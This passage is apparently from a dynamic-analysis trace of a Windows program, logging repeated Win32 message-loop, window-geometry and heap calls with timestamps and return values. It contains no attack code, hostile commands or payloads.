lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0178.058] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0178.058] GetCurrentThreadId () returned 0xcd8 [0178.058] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0178.210] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0178.210] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0178.211] GetCapture () returned 0x0 [0178.211] WindowFromPoint (Point=0x38c) returned 0x60018 [0178.211] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0178.211] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0178.211] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0178.211] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0178.211] GetCurrentThreadId () returned 0xcd8 [0178.211] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0178.522] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0178.522] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0178.522] GetCapture () returned 0x0 [0178.522] WindowFromPoint (Point=0x38c) returned 0x60018 [0178.522] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0178.522] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0178.522] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0178.522] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0178.522] GetCurrentThreadId () returned 0xcd8 [0178.522] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0178.833] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0178.833] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0178.833] GetCapture () returned 0x0 [0178.834] WindowFromPoint (Point=0x38c) returned 0x60018 [0178.834] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0178.834] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0178.834] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0178.834] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0178.834] GetCurrentThreadId () returned 0xcd8 [0178.834] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0179.145] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0179.145] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0179.145] GetCapture () returned 0x0 [0179.145] WindowFromPoint (Point=0x38c) returned 0x60018 [0179.146] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0179.146] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0179.146] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0179.146] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0179.146] GetCurrentThreadId () returned 0xcd8 [0179.146] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0179.458] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0179.458] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0179.458] GetCapture () returned 0x0 [0179.458] WindowFromPoint (Point=0x38c) returned 0x60018 [0179.458] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0179.458] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0179.459] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0179.459] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0179.459] GetCurrentThreadId () returned 0xcd8 [0179.459] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0179.770] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0179.770] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0179.770] GetCapture () returned 0x0 [0179.770] WindowFromPoint (Point=0x38c) returned 0x60018 [0179.770] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0179.770] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0179.770] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0179.770] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0179.770] GetCurrentThreadId () returned 0xcd8 [0179.770] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0180.081] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0180.081] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0180.081] GetCapture () returned 0x0 [0180.082] WindowFromPoint (Point=0x38c) returned 0x60018 [0180.082] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0180.082] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0180.082] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0180.082] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0180.082] GetCurrentThreadId () returned 0xcd8 [0180.082] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0180.394] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0180.394] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0180.394] GetCapture () returned 0x0 [0180.394] WindowFromPoint (Point=0x38c) returned 0x60018 [0180.394] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0180.394] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0180.394] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0180.394] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0180.394] GetCurrentThreadId () returned 0xcd8 [0180.394] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0180.705] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0180.705] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0180.705] GetCapture () returned 0x0 [0180.705] WindowFromPoint (Point=0x38c) returned 0x60018 [0180.705] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0180.706] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0180.706] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0180.706] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0180.706] GetCurrentThreadId () returned 0xcd8 [0180.706] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0181.018] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0181.018] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0181.018] GetCapture () returned 0x0 [0181.018] WindowFromPoint (Point=0x38c) returned 0x60018 [0181.018] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0181.018] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0181.018] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0181.018] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0181.018] GetCurrentThreadId () returned 0xcd8 [0181.018] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0181.329] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0181.329] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0181.329] GetCapture () returned 0x0 [0181.329] WindowFromPoint (Point=0x38c) returned 0x60018 [0181.329] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0181.329] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0181.330] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0181.330] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0181.330] GetCurrentThreadId () returned 0xcd8 [0181.330] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0181.641] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0181.641] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0181.641] GetCapture () returned 0x0 [0181.641] WindowFromPoint (Point=0x38c) returned 0x60018 [0181.642] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0181.642] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0181.642] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0181.642] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0181.642] GetCurrentThreadId () returned 0xcd8 [0181.642] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0181.953] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0181.954] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0181.954] GetCapture () returned 0x0 [0181.954] WindowFromPoint (Point=0x38c) returned 0x60018 [0181.954] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0181.954] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0181.954] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0181.954] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0181.954] GetCurrentThreadId () returned 0xcd8 [0181.954] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0182.266] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0182.266] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0182.266] GetCapture () returned 0x0 [0182.266] WindowFromPoint (Point=0x38c) returned 0x60018 [0182.266] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0182.266] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0182.266] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0182.266] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0182.266] GetCurrentThreadId () returned 0xcd8 [0182.266] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0182.579] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0182.579] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0182.579] GetCapture () returned 0x0 [0182.579] WindowFromPoint (Point=0x38c) returned 0x60018 [0182.579] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0182.579] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0182.579] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0182.579] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0182.579] GetCurrentThreadId () returned 0xcd8 [0182.579] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0182.891] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0182.891] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0182.891] GetCapture () returned 0x0 [0182.891] WindowFromPoint (Point=0x38c) returned 0x60018 [0182.891] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0182.891] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0182.891] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0182.891] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0182.891] GetCurrentThreadId () returned 0xcd8 [0182.891] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0183.201] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0183.201] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0183.201] GetCapture () returned 0x0 [0183.201] WindowFromPoint (Point=0x38c) returned 0x60018 [0183.202] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0183.202] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0183.202] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0183.202] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0183.202] GetCurrentThreadId () returned 0xcd8 [0183.202] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0183.513] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0183.513] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0183.513] GetCapture () returned 0x0 [0183.513] WindowFromPoint (Point=0x38c) returned 0x60018 [0183.514] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0183.514] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0183.514] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0183.514] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0183.514] GetCurrentThreadId () returned 0xcd8 [0183.514] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0183.825] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0183.825] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0183.825] GetCapture () returned 0x0 [0183.825] WindowFromPoint (Point=0x38c) returned 0x60018 [0183.826] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0183.826] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0183.826] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0183.826] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0183.826] GetCurrentThreadId () returned 0xcd8 [0183.826] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0184.138] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0184.138] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0184.138] GetCapture () returned 0x0 [0184.138] WindowFromPoint (Point=0x38c) returned 0x60018 [0184.138] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0184.138] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0184.138] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0184.138] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0184.138] GetCurrentThreadId () returned 0xcd8 [0184.138] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0184.449] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0184.449] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0184.449] GetCapture () returned 0x0 [0184.449] WindowFromPoint (Point=0x38c) returned 0x60018 [0184.449] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0184.449] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0184.450] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0184.450] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0184.450] GetCurrentThreadId () returned 0xcd8 [0184.450] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0184.761] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0184.761] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0184.761] GetCapture () returned 0x0 [0184.761] WindowFromPoint (Point=0x38c) returned 0x60018 [0184.762] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0184.762] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0184.762] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0184.762] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0184.762] GetCurrentThreadId () returned 0xcd8 [0184.762] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0185.073] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0185.073] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0185.073] GetCapture () returned 0x0 [0185.074] WindowFromPoint (Point=0x38c) returned 0x60018 [0185.074] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0185.074] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0185.074] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0185.074] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0185.074] GetCurrentThreadId () returned 0xcd8 [0185.074] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0185.385] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0185.385] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0185.385] GetCapture () returned 0x0 [0185.385] WindowFromPoint (Point=0x38c) returned 0x60018 [0185.385] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0185.385] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0185.385] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0185.386] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0185.386] GetCurrentThreadId () returned 0xcd8 [0185.386] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0185.697] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0185.697] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0185.697] GetCapture () returned 0x0 [0185.697] WindowFromPoint (Point=0x38c) returned 0x60018 [0185.697] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0185.698] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0185.698] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0185.698] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0185.698] GetCurrentThreadId () returned 0xcd8 [0185.698] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0186.011] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0186.011] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0186.011] GetCapture () returned 0x0 [0186.011] WindowFromPoint (Point=0x38c) returned 0x60018 [0186.011] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.012] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0186.012] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0186.012] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0186.012] GetCurrentThreadId () returned 0xcd8 [0186.012] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0186.323] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0186.323] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0186.324] GetCapture () returned 0x0 [0186.324] WindowFromPoint (Point=0x38c) returned 0x60018 [0186.324] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.324] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0186.324] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0186.324] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0186.324] GetCurrentThreadId () returned 0xcd8 [0186.324] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0186.421] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.421] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0186.421] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0186.421] PtInRect (lprc=0x30f570, pt=0x1a3) returned 1 [0186.421] GetCurrentThreadId () returned 0xcd8 [0186.421] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.421] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0186.422] GetMessageTime () returned 312532 [0186.422] GetMessagePos () returned 0x10d038c [0186.422] GetCapture () returned 0x0 [0186.422] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0186.422] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.422] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0186.422] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0186.422] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.422] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0186.422] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0186.422] IntersectRect (in: lprcDst=0x30e544, lprcSrc1=0x30e544, lprcSrc2=0x30e3e0 | out: lprcDst=0x30e544) returned 1 [0186.423] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.423] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831de8 [0186.423] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e534 | out: lprcDst=0x30f080) returned 1 [0186.423] IntersectRect (in: lprcDst=0x30e3f0, lprcSrc1=0x30e3f0, lprcSrc2=0x30f070 | out: lprcDst=0x30e3f0) returned 1 [0186.423] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e554 | out: lprcDst=0x30f080) returned 1 [0186.423] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.426] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.427] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831de8 | out: hHeap=0x7f0000) returned 1 [0186.427] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0186.427] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0186.427] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0186.427] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0186.427] PtInRect (lprc=0x30f348, pt=0x1a3) returned 1 [0186.427] PtInRect (lprc=0x30f1ec, pt=0xa316) returned 1 [0186.427] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0186.427] GetCursor () returned 0x10003 [0186.427] GetCurrentThreadId () returned 0xcd8 [0186.427] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0186.427] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0186.427] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0186.428] GetMessageTime () returned 312626 [0186.428] GetMessagePos () returned 0xe5025a [0186.428] GetCapture () returned 0x0 [0186.428] GetCurrentThreadId () returned 0xcd8 [0186.428] GetCurrentThreadId () returned 0xcd8 [0186.428] GetCurrentThreadId () returned 0xcd8 [0186.428] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 